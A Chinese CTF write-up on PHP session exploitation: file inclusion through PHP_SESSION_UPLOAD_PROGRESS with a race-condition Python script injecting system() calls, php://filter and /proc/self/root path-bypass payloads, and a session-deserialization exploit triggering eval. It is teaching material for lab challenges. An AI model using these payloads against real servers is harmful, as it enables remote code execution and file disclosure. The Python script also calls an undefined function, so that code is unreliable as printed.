php网络安全session利用的小思路

目录
  • 前言
  • session文件包含
    • php.ini
    • [WMCTF 2020]Make PHP Great Again
    • session维持
      • 方法一 | 借助Burp Suite
      • 方法二 | python脚本
      • 方法三(非预期) | 伪协议配合多级符号链接的办法进行绕过。
  • session反序列化
    • Jarvis OJ WEB PHPINFO
  • 小结

前言

做题的时候经常考到session利用,常见的基本就两种,session文件包含和session反序列化,之前没有详细总结过,就写写吧。

session文件包含

php.ini

session的相关配置

session.upload_progress.enabled = on
//enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

session.upload_progress.prefix = "upload_progress_"
//将表示为session中的键名

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
//当它出现在表单中,php将会报告上传进度,而且它的值可控!!!

session.use_strict_mode = off
//这个选项默认值为off,表示我们对Cookie中sessionid可控!!!

session.save_path = /var/lib/php/sessions
//session的存贮位置,默认还有一个 /tmp/目录

当session相关配置如上的时候,我们可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。

平常,当我们要创建session时往往会在php代码里写session_start(),但我们不写的话,也是可以创建的。

比如,在php.ini中设置session.auto_start=On 的情况下,php在接收请求的时候会自动初始化session,不需要执行session_start()。但默认状态下,这个选项是默认关闭的。

不过幸好,session还有一个默认选项,session.use_strict_mode默认值为0。

这样用户是可以自己定义session ID的。比如,我们在cookie里设置PHPSESSID=AndyNoel,就会在服务器/tmp目录下或者/var/lib/php/sessions/目录下创建一个文件:sess_AndyNoel。即便没有设置自动初始化session,php也会产生session,并生成一个键值,这个键值由ini.get("session.upload_progress.prefix")+我们构造的session.upload_progress.name值组成,最后被一起写入sess_文件里。

[WMCTF 2020]Make PHP Great Again

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}
//Please hack me with your 0day!

很容易发现存在一个文件包含漏洞,但找不到能包含的恶意文件,那我们就可以往session里面写入恶意内容,然后包含它。

session维持

按照上面说的思路创建好session后,问题又来了,那就是在php.ini往往还有一条设置

session.upload_progress.cleanup = on
//表示当文件上传结束后,php将会立即清空对应session文件中的内容

默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,清空了就没办法利用了。我们要想办法把session留在里面,所以就要利用条件竞争,在session文件内容清空前进行文件包含利用。

方法一 | 借助Burp Suite

可以在本地写一个上传页面,然后抓包添加Cookie: PHPSESSID=AndyNoel,再用BurpSuite爆破

<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

一边不断发包请求包含恶意的session,一边不断发包以维持恶意session存储。这样就可以利用条件竞争把恶意内容留在session里面了。

方法二 | python脚本

原理和上面的差不多,但是我们直接编写脚本,写shell、取flag一把梭出来,用不着那么麻烦了

import io
import sys
import requests
import threading
sessid = 'AndyNoel'
def WRITE(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://localhost/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"},
            files={"file":('1.txt', f)},
            cookies={'PHPSESSID':sessid}
        )
def READ(session):
    while True:
        resp = session.get(f'http://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid}')

        if 'flag{' in resp.text:
            print(resp.text)
            sys.exit(0)
        else:
            print('Thinking[+++++++]')
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

方法三(非预期) | 伪协议配合多级符号链接的办法进行绕过。

在这里有个小知识点,/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。

payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

另外一个payload

?file=php://filter/convert.base64-encode/resource=/nice/../../proc/self/cwd/flag.php

session反序列化

选择不同的处理器,处理方式也不一样,如果序列化和储存session与反序列化的方式不同,就有可能导致漏洞的产生。

Jarvis OJ WEB PHPINFO

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

如果只看php代码,其实我们是找不到参数可控的地方的,所以通过什么方法来进行反序列化呢?session.serialize_handler

session.serialize_handler (string) 用来定义序列化/反序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。 如果 PHP 编译时加入了 WDDX 支持,则只能用 WDDX。 php_serialize 在内部简单地直接使用serialize/unserialize函数,并且不会有 php 和 php_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。

可以看一下这个题目环境的phpinfo,在session部分

默认session.serialize_handlerphp_serialize,而这里却设置为php:

这样就很明显了,因为处理器对应的处理格式不同导致出现session反序列化漏洞

但还是不够,因为我们还是没办法控制变量,翻看PHP手册有个有意思的地方:

既然如此,我们可以去看看有关session的php.ini的设置

ession.upload_progress.enabled = on
session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS

设置是这样的话,我们就可以构造反序列化了。

<?php
class OowoO
{
    public $mdzz='var_dump(scandir("/opt/lampp/htdocs/"));';//从phpinfo看见的
}
$obj = new OowoO();
echo serialize($obj);
?>
O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir("/opt/lampp/htdocs/"));";}

为了防止双引号转义,所以要处理一下,在双引号前面加\,所以应该是这样

O:5:\"OowoO\":1:{s:4:\"mdzz\";s:40:\"var_dump(scandir(\"/opt/lampp/htdocs/\"));\";}

然后自己本地写一个提交页面:

<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ADNL" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

抓包修改,在序列化的字符串前加 |,提交即可。

小结

session有关的安全性问题主要是文件包含和反序列化两个利用点,利用PHP_SESSION_UPLOAD_PROGRESS可以绕过大部分过滤。

以上就是php网络安全session利用的小思路的详细内容,更多关于php网络安全session利用的资料请关注我们其它相关文章!

(0)

相关推荐

  • PHP session的反序列化你了解吗

    session反序列化的漏洞是由三种不同的反序列化引擎所产生的的漏洞 其中 session.serialize_handler string--定义用来序列化/反序列化的处理器名字.默认使用php 若使用如下设置: <?php //ini_set('session.serialize_handler', 'php'); //ini_set("session.serialize_handler", "php_serialize"); ini_set("

  • 深入解析PHP中SESSION反序列化机制

    简介 在php.ini中存在三项配置项: session.save_path=""   --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler   string --定义用来序

  • 深入浅析PHP的session反序列化漏洞问题

    在php.ini中存在三项配置项: session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处

  • php中cookie与session的区别点总结

    本教程操作环境:windows7系统.PHP7.1版.DELL G3电脑 无论是在系统运维还是 PHP 开发人员的面试中,经常会被问到 Session 和 Cookie 在 PHP 中的区别?下面我们就来总结一下: Cookie 仅由客户端生成.管理并使用,PHP 只是发出指令要求客户端如何生成 Cookie.何时过期等,但是客户端不一定会按照 PHP 的指令办事. Cookie 不是很安全,不法分子可以通过分析本地的 Cookie 进行 Cookie 欺骗.考虑到安全问题,建议将用户的重要信息

  • php网络安全session利用的小思路

    目录 前言 session文件包含 php.ini [WMCTF 2020]Make PHP Great Again session维持 方法一 | 借助Burp Suite 方法二 | python脚本 方法三(非预期) | 伪协议配合多级符号链接的办法进行绕过. session反序列化 Jarvis OJ WEB PHPINFO 小结 前言 做题的时候经常考到session利用,常见的基本就两种,session文件包含和session反序列化,之前没有详细总结过,就写写吧. session文

  • 如何利用微信小程序获取OneNet平台数据显示温湿度

    目录 一.OneNet平台 二.微信小程序界面设计 三.微信小程序获取OneNet数据 总结 一.OneNet平台 ​ 1.我这里的设备是通过MQTT协议连接到OneNet平台的 ​ 2.微信小程序获取OneNet数据需要得到产品的api-key.设备id ​ 3.这里我是把温湿度都放在同一个设备,后面只需要查询一个设备即可获得两个数据 ​ 4.查询OneNet平台多协议接入文档,这里直接查看MQTT的API使用 ​ 5.我用ApiPost来进行测试是否能获取数据 二.微信小程序界面设计 1.i

  • 如何利用微信小程序和php实现即时通讯聊天功能

    目录 一.PHP7安装Swoole扩展 1.自定义安装 2.宝塔面板安装PHP swoole扩展 二.配置nginx反向代理 三.微信小程序socket合法域名配置 四.效果演示和代码 1.小程序端代码 2.服务端代码(PHP代码) 五.代码已经编写完了 总结 一.PHP7安装Swoole扩展 PHP swoole 扩展下载地址 Github:https://github.com/swoole/swoole-src/tags php官方扩展库:http://pecl.php.net/packag

  • 利用微信小程序制作属于自己的Icon图标

    目录 前言 1.将你心仪的图标加入购物车 2.将图标添加至项目 3.我的项目 4.将项目下载至本地 5.将字体转换为base64 6.样式文件修改 7.重命名 8.导入样式文件并使用 总结 前言 最近在接手一个微信小程序,发现里面的图标都是使用的image组件,看起来非常别扭,加载也不太顺畅. 就想着看看微信有没有类似自带的图标库可以使用. 有是有,就是太少了,翻来翻去好像也就 8 种,不太够用啊. 官方没有就只能自己做了,还是阿里的iconfont好使,首先你得有iconfont的账号. 1.

  • 网络安全中SRC验证码绕过思路总结

    目录 1. 验证码使用后不会销毁 2. 生成验证码字符集可控 3. 验证码存放在暴露位置 4. 验证码为空,或8888,0000等可绕过 5.其他对比后验证码未销毁 6.验证码尺寸可控 7.验证码过于简单,可轻易机器识别 8. 待补充... 总结了一下SRC中常见的验证码绕过思路 1. 验证码使用后不会销毁 验证码可重复使用,导致可爆破账户 2. 生成验证码字符集可控 验证码可控,可自行选择验证码(案例:ThinkCMF 1.X-2.X) 3. 验证码存放在暴露位置 比如验证码藏到cookie里

  • 利用Python小工具实现3秒钟将视频转换为音频

    最近,有读者微信上私聊我,想让我写一篇视频批量转换成音频的文章,我答应了,周末宅家里把这个小工具做出来了. 这样,对于有些视频学习文件,我们可以批量转换成音频文件,学习方式更多样化了. 之前也用过 ffmpeg 处理视频文件.ffmpeg 这个程序处理视频是好用,但是有没有更轻便的呢?可以不下载这个程序吗?还真有,Python 里有 ffmpeg 相关的库:ffmpy3. ffmpy3 是 ffmpy 的一个分支,它是一个简单的 FFmpeg 命令行包装程序.ffmpy 实现了一个 Python

  • 为每个页面加上Session判断的小例子

    首先新建一个类,继承自System.Web.UI.Page,然后重写OnInit,如下: 复制代码 代码如下: using System;using System.Data;using System.Configuration;using System.Linq;using System.Web;using System.Web.Security;using System.Web.UI;using System.Web.UI.HtmlControls;using System.Web.UI.We

  • 微信小程序-详解微信登陆、微信支付、模板消息

    微信公众平台近日悄然开始内测微信小程序(微信公众号)功能,引来无数开发者和普通用户关注,微信支付的能力,是随着小程序的发布一并推出的,具有介绍如下: wx.login(OBJECT) 调用接口获取登录凭证(code)进而换取用户登录态信息,包括用户的唯一标识(openid) 及本次登录的 会话密钥(session_key).用户数据的加解密通讯需要依赖会话密钥完成. OBJECT参数说明: success返回参数说明: 示例代码: //app.js App({ onLaunch: functio

  • PHP实现cookie跨域session共享的方法分析

    本文实例讲述了PHP实现cookie跨域session共享的方法.分享给大家供大家参考,具体如下: 做过web开发的小伙伴们都了解cookie和session,cookie是存储在客户端的,session是存储在服务器的. 本篇主要通过一些实践中的案例和大家分享一下踩到坑,重点说明了cookie跨域问题和session服务器共享问题,以php语言为使用语言进行说明. 先聊聊cookie 设置cookie无效 setcookie("sso", "e589hR6VnO8K1CNQ

  • MySQL Proxy(解决注入的另一思路)

    作者:云舒 What is MySQL Proxy? MySQL Proxy is a simple program that sits between your client and MySQL server(s) that can monitor, analyze or transform their communication. Its flexibility allows for unlimited uses; common ones include: load balancing; f

随机推荐